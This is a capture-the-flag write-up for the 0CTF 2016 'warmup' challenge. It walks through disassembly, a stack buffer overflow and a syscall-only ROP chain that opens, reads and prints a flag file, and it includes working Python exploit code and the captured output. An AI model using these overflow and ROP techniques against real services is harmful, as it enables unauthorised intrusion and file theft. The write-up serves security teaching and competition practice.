0CTF 2016 exp2 warmup
@mrexcessive @ WHA
0CTF 2016 CTF
exp2 warmup
The problem
warmup for pwning! notice: This service is protected by a sandbox, you can only read the flag at /home/warmup/flag nc 202.120.7.207 52608 Binary provided
The solution
First noticable thing is how tiny the binary is... well that's probably good, right ?
$ ls -la -rwxr-xr-x 1 peter peter 724 Mar 12 03:39 warmup $ file warmup warmup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, BuildID[sha1]=0x301079c1c9fc36f38ddaa1cda7f8a3c3110a930d, stripped
Do the normal things:
strings ; objdump -d ; readelf ; gdb && checksec ;
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled
Head straight for the syscalls documentation :
http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html
A quick read of .asm and it looks like buffer overflow followed by ROP back to the code.
set 10second timer; output "Welcome..." string; read from stdin 0x34==2 chars -> (stack + 0x14)
Stack is :
0xffffd508:&0x08048179& 0x00000000 <0xffffd51c> 0x00000034 &..& is return from read() <..>==ffffd51c is target of read 0xffffd518: 0x00000000 [0x00000000 0x00000000 0x00000000 [..] is read buffer 0x34 chars 0xffffd528: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffd538: 0x00000000 {0x08048108} 0x00000001 0x080491bc {..} vulnerable at offset +0x20 return address from interact() 0xffffd548: 0x00000016 0x00000000] 0x00000001 0xffffd6ab 0xffffd558: 0x00000000 0xffffd6cf 0xffffd6e2 0xffffd71b 0xffffd568: 0xffffd726 0xffffd736 0xffffd787 0xffffd799 0xffffd578: 0xffffd7d1 0xffffd7dc 0xffffdcfd 0xffffdd31 0xffffd588: 0xffffdd81 0xffffdd90 0xffffdd9b 0xffffddb3
So we can overwrite 0x8048108, which is return from the read mini-func, and get EIP control ?
ROP will be tricky without any libs. Nothing surprising hidden for ROPgadget to reveal. There is no 'win' function to call.
So... We will be building an open-file ; read-from-file ; write-to-stdout somehow...
Problem is - there is no open call and no obvious way to get 5 into EAX (for sys_open)
My commented disassembly:
warmup: file format elf32-i386 Disassembly of section .text: 080480d8 <.text>: 80480d8: 83 ec 10 sub $0x10,%esp # stack space 0x10 80480db: c7 04 24 0a 00 00 00 movl $0xa,(%esp) 80480e2: e8 26 00 00 00 call 0x804810d # alarm(10) 80480e7: c7 04 24 01 00 00 00 movl $0x1,(%esp) # 1 == stdout 80480ee: c7 44 24 04 bc 91 04 movl $0x80491bc,0x4(%esp) # "Welcome to 0CTF 2016!\n" 80480f5: 08 80480f6: c7 44 24 08 16 00 00 movl $0x16,0x8(%esp) # output 22 chars = 0x16 80480fd: 00 80480fe: e8 32 00 00 00 call 0x8048135 # write(1,"Welcome..",22) 8048103: e8 52 00 00 00 call 0x804815a # interact() 8048108: e8 40 00 00 00 call 0x804814d # exit(0) alarm: 804810d: b8 1b 00 00 00 mov $0x1b,%eax # sys_alarm 8048112: 8b 5c 24 04 mov 0x4(%esp),%ebx # already got param 0xa at 0(esp) 8048116: cd 80 int $0x80 # syscall(sys_alarm, 0xa) 8048118: 85 c0 test %eax,%eax # FAIL ? 804811a: 78 31 js 0x804814d # exit(0) 804811c: c3 ret read: 804811d: b8 03 00 00 00 mov $0x3,%eax # sys_read; esp = 0xffffd508 on entry 8048122: 8b 5c 24 04 mov 0x4(%esp),%ebx # [0xffffd50c] == 0, stdin 8048126: 8b 4c 24 08 mov 0x8(%esp),%ecx # [0xffffd510] == 0xffffd51c BUFFER on stack 804812a: 8b 54 24 0c mov 0xc(%esp),%edx # [0xffffd514] == 0x34 == read length 52 chars 804812e: cd 80 int $0x80 # read input 8048130: 85 c0 test %eax,%eax 8048132: 78 19 js 0x804814d 8048134: c3 ret write: 8048135: b8 04 00 00 00 mov $0x4,%eax 804813a: 8b 5c 24 04 mov 0x4(%esp),%ebx 804813e: 8b 4c 24 08 mov 0x8(%esp),%ecx 8048142: 8b 54 24 0c mov 0xc(%esp),%edx 8048146: cd 80 int $0x80 # syscall(sys_write==4,...) 8048148: 85 c0 test %eax,%eax 804814a: 78 01 js 0x804814d 804814c: c3 ret exit: 804814d: b8 01 00 00 00 mov $0x1,%eax 8048152: bb 00 00 00 00 mov $0x0,%ebx 8048157: cd 80 int $0x80 8048159: f4 hlt interact: 804815a: 83 ec 30 sub $0x30,%esp 804815d: c7 04 24 00 00 00 00 movl $0x0,(%esp) # 0 ==8048164: 8d 44 24 10 lea 0x10(%esp),%eax 8048168: 89 44 24 04 mov %eax,0x4(%esp) 804816c: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp) 8048173: 00 8048174: e8 a4 ff ff ff call 0x804811d # read() 8048179: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048180: c7 44 24 04 d3 91 04 movl $0x80491d3,0x4(%esp) "Good Luck!\n" 8048187: 08 8048188: c7 44 24 08 0b 00 00 movl $0xb,0x8(%esp) 11 804818f: 00 8048190: e8 a0 ff ff ff call 0x8048135 write() 8048195: b8 af be ad de mov $0xdeadbeaf,%eax # blat registers 804819a: b9 af be ad de mov $0xdeadbeaf,%ecx 804819f: ba af be ad de mov $0xdeadbeaf,%edx 80481a4: bb af be ad de mov $0xdeadbeaf,%ebx 80481a9: be af be ad de mov $0xdeadbeaf,%esi 80481ae: bf af be ad de mov $0xdeadbeaf,%edi 80481b3: bd af be ad de mov $0xdeadbeaf,%ebp 80481b8: 83 c4 30 add $0x30,%esp 80481bb: c3 ret
Running locally and checking memory maps:
$ cat /proc/46758/maps 08048000-08049000 r-xp 00000000 08:11 7079025 /home/peter/CTFs/0CTF/warmup/warmup 08049000-0804a000 rw-p 00000000 08:11 7079025 /home/peter/CTFs/0CTF/warmup/warmup f7ffa000-f7ffc000 r--p 00000000 00:00 0 [vvar] f7ffc000-f7ffe000 r-xp 00000000 00:00 0 [vdso] fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
Nothing is w & x so has to be ROP-like
I'm planning to create a loop... so execute a mini-function we want to run, then re-run the program from start of interact, or maybe from 0x804815d
How to get 5 into eax ? from the syscall's page...
EAX EBX ECX (flags) EDX (MODE) 5 sys_open fs/open.c const char * int int 5 0x80491d3 == write buf
Exploit R&D time
I grab my standard python socket pwning script and configure a local server using socat.
Then setup for local testing.
Because I don't like to be constrained to 10 seconds of gdb time... I patch the binary to give me ample time.
$ ; window one $ socat TCP_LISTEN:1337,reuseaddr,fork EXEC:"./hacked" $ ; window two $ ./pwn.py ; which talks to the server, pausing after connect so debugger can be started $ ; window three $ ps ax |grep hacked $ gdb ./hacked -p
The exploit will need to put the filename somewhere before calling open()
Hmmm...
So... Can I run the read function with params I control then re-run interact ??
Ie. &interact becomes the return address for the ROP into read:
So that works...
x/64xw 0x8049800 0x8049800: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x8049810: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x8049820: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x8049830: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a .... snip ... continues ...
How to get 5 into eax for execve ?
I mess about for a while then realise... just use the timer!
Wait 4 or 5 seconds after startup, the timer starts at 10, then call alarm: mini-function and it will put 5 (or 6...) into eax. Actually turns out it's pretty reliably 5 if you wait 5 seconds, who knew...
So... There is now a need for some ROP fiddling. The repeat call approach is the easiest.. that is:
- call read (1 == stdin) and transfer "/home/warmup/flag\0" to the second memory page
- the second memory page, see above, is RW (so we can write to it...)
- call alarm: to set function 5 and return to interact:
- call second instruction of read: (so eax doesn't get stomped) and return to interact:
- this will do sys_open, with luck
- call read again, assuming a file handle 3 this time for our newly open file -> RW memory
- now call write and send the data read to stdout
This takes about an hour to get correct locally, then it just works remotely.
Full code is on github, https://gist.github.com/mrexcessive/10d687b5e617fa7b2063
Crucial parts below
def PwnServer(): r = GetResponse(expect="!",timeout=2) print r fpbuf = 0x8049800 time.sleep(4) # wait for alarm to die a bit if True: # open file using alarm() ; read+1() and restart() # setup filepath in fpbuf extract = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH" extract += p(0x0804811d) # read() extract += p(0x080480e7) # restart program after read() extract += p(0) #extract += p(fpbuf) fp = "/home/warmup/flag\0" extract += p(len(fp)) s.send(extract) # now send the filepath s.send(fp) # now use alarm() to read a 5 (after sleep countdown from 10) # sys_read requires: # ebx = handle (guess this, low number >2) ; ecx = &buf (reuse fpbuf) ; edx = size == 0x30 extract = "A1A1B1B1C1C1D1D1E1E1F1F1G1G1H1H1" # 0x20 bytes to here extract += p(0x0804810d) # alarm() extract += p(0x08048122) # return from alarm(): read+1 being used for open() extract += p(0x080480e7) # return from open(): restart program _and_ new alarm time for alarm() extract += p(fpbuf) # fname for open() extract += p(0x100) # flags for open() s.send(extract) if True: # assuming we have file handle (3) at this point # READ() now we have file open... read contents to the buffer # sys_read requires: # ebx = handle (guess this, low number >2) ; ecx = &buf (reuse fpbuf) ; edx = size == 0x30 extract = "a1a1b1b1c1c1d1d1e1e1f1f1g1g1h1h1" extract += p(0x0804811d) # read() extract += p(0x080480e7) # restart program after read() extract += p(3) extract += p(fpbuf) extract += p(0x40) s.send(extract) # WRITE() to stdout extract = "a2a2b2b2c2c2d2d2e2e2f2f2g2g2h2h2" extract += p(0x08048135) # ROP directly to write() extract += p(0x080480e7) # after write go back and restart program... extract += p(1) # extract += p(fpbuf) # "elcome..." extract += p(0x40) #len s.send(extract + "\n") r = GetResponse(timeout=1) HexPrint(r)
output is
./pwn.py Welcome to 0CTF 2016! 0a 47 6f 6f 64 20 4c 75 - 63 6b 21 0a 57 65 6c 63 .Good.Luck!.Welc 6f 6d 65 20 74 6f 20 30 - 43 54 46 20 32 30 31 36 ome.to.0CTF.2016 21 0a 47 6f 6f 64 20 4c - 75 63 6b 21 0a 57 65 6c !.Good.Luck!.Wel 63 6f 6d 65 20 74 6f 20 - 30 43 54 46 20 32 30 31 come.to.0CTF.201 36 21 0a 47 6f 6f 64 20 - 4c 75 63 6b 21 0a 57 65 6!.Good.Luck!.We 6c 63 6f 6d 65 20 74 6f - 20 30 43 54 46 20 32 30 lcome.to.0CTF.20 31 36 21 0a 47 6f 6f 64 - 20 4c 75 63 6b 21 0a 30 16!.Good.Luck!.0 63 74 66 7b 77 65 6c 63 - 6f 6d 65 5f 69 74 5f 69 ctf{welcome_it_i 73 5f 70 77 6e 69 6e 67 - 5f 74 69 6d 65 7d 0a 00 s_pwning_time}.. 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 57 ...............W 65 6c 63 6f 6d 65 20 74 - 6f 20 30 43 54 46 20 32 elcome.to.0CTF.2 30 31 36 21 0a 47 6f 6f - 64 20 4c 75 63 6b 21 0a 016!.Good.Luck!. *** Connection closed by remote host ***